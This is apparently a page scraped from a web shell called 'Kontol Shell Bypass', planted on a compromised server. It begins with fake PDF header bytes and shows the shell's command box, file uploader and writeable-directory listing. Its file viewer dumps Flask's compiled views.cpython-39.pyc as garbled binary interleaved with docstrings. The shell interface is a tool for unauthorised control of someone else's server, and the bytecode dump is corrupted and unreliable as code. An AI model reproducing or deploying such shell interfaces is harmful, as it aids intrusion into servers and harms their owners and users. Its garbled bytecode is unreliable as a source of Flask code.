%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/flask/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/flask/__pycache__/views.cpython-39.pyc
a

�_g�@s�ddlmZddlZddlmZddlmZddlmZej	dej
dejfd	�Ze
gd
��ZGdd�d�ZGd
d�de�ZdS)�)�annotationsN�)�typing)�current_app)�request�F.)�bound)�get�post�head�options�delete�put�trace�patchc@sheZdZUdZdZded<dZded<gZded<d	Zd
ed<dd
�dd�Z	e
ddddd�dd��ZdS)�ViewaSubclass this class and override :meth:`dispatch_request` to
    create a generic class-based view. Call :meth:`as_view` to create a
    view function that creates an instance of the class with the given
    arguments and calls its ``dispatch_request`` method with any URL
    variables.

    See :doc:`views` for a detailed guide.

    .. code-block:: python

        class Hello(View):
            init_every_request = False

            def dispatch_request(self, name):
                return f"Hello, {name}!"

        app.add_url_rule(
            "/hello/<name>", view_func=Hello.as_view("hello")
        )

    Set :attr:`methods` on the class to change what methods the view
    accepts.

    Set :attr:`decorators` on the class to apply a list of decorators to
    the generated view function. Decorators applied to the class itself
    will not be applied to the generated view function!

    Set :attr:`init_every_request` to ``False`` for efficiency, unless
    you need to store request-global data on ``self``.
    Nz$t.ClassVar[t.Collection[str] | None]�methodszt.ClassVar[bool | None]�provide_automatic_optionsz$t.ClassVar[list[t.Callable[[F], F]]]�
decoratorsTzt.ClassVar[bool]�init_every_request�ft.ResponseReturnValue)�returncCs
t��dS)z�The actual view function behavior. Subclasses must override
        this and return a valid response. Any variables from the URL
        rule are passed as keyword arguments.
        N)�NotImplementedError��self�r�8/vddos/python/lib/python3.9/site-packages/flask/views.py�dispatch_requestNszView.dispatch_request�str�t.Anyzft.RouteCallable)�name�
class_args�class_kwargsrcs�|jr ddd����fdd��n"|�i����ddd��fdd��|jrj|�_|j�_|jD]}|���q\|�_|�_|j�_|j�_|j�_|j�_�S)afConvert the class into a view function that can be registered
        for a route.

        By default, the generated view will create a new instance of the
        view class for every request and call its
        :meth:`dispatch_request` method. If the view class sets
        :attr:`init_every_request` to ``False``, the same instance will
        be used for every request.

        Except for ``name``, all other arguments passed to this method
        are forwarded to the view class ``__init__`` method.

        .. versionchanged:: 2.2
            Added the ``init_every_request`` class attribute.
        rr��kwargsrcs&�j�i���}t�|j�fi|��S�N)�
view_classr�ensure_syncr)r$r)r!r"�viewrrr(js��zView.as_view.<locals>.viewcst��j�fi|��Sr%)rr'r)r$rrrr(ss)rr�__name__�
__module__r&�__doc__rr)�clsr r!r"�	decoratorr)r!r"rr(r�as_viewUs 

zView.as_view)r)r*�__qualname__r+r�__annotations__rrrr�classmethodr.rrrrrs
"rcs8eZdZdZddd��fdd�Zddd�dd	�Z�ZS)
�
MethodViewa�Dispatches request methods to the corresponding instance methods.
    For example, if you implement a ``get`` method, it will be used to
    handle ``GET`` requests.

    This can be useful for defining a REST API.

    :attr:`methods` is automatically set based on the methods defined on
    the class.

    See :doc:`views` for a detailed guide.

    .. code-block:: python

        class CounterAPI(MethodView):
            def get(self):
                return str(session.get("counter", 0))

            def post(self):
                session["counter"] = session.get("counter", 0) + 1
                return redirect(url_for("counter"))

        app.add_url_rule(
            "/counter", view_func=CounterAPI.as_view("counter")
        )
    r�Noner#csvt�jfi|��d|jvrrt�}|jD]}t|dd�r(|�|j�q(tD]}t	||�rJ|�
|���qJ|rr||_dS)Nr)�super�__init_subclass__�__dict__�set�	__bases__�getattr�updater�http_method_funcs�hasattr�add�upper)r,r$r�base�key��	__class__rrr5�s


zMethodView.__init_subclass__rcKs\t|tj��d�}|dur0tjdkr0t|dd�}|dusHJdtj����t�|�fi|��S)N�HEADr	zUnimplemented method )r9r�method�lowerrr')rr$�methrrrr�s
zMethodView.dispatch_request)r)r*r/r+r5r�
__classcell__rrrArr2�sr2)�
__future__rr�t��ft�globalsrr�TypeVar�Callable�Anyr�	frozensetr;rr2rrrr�<module>s�z

Kontol Shell Bypass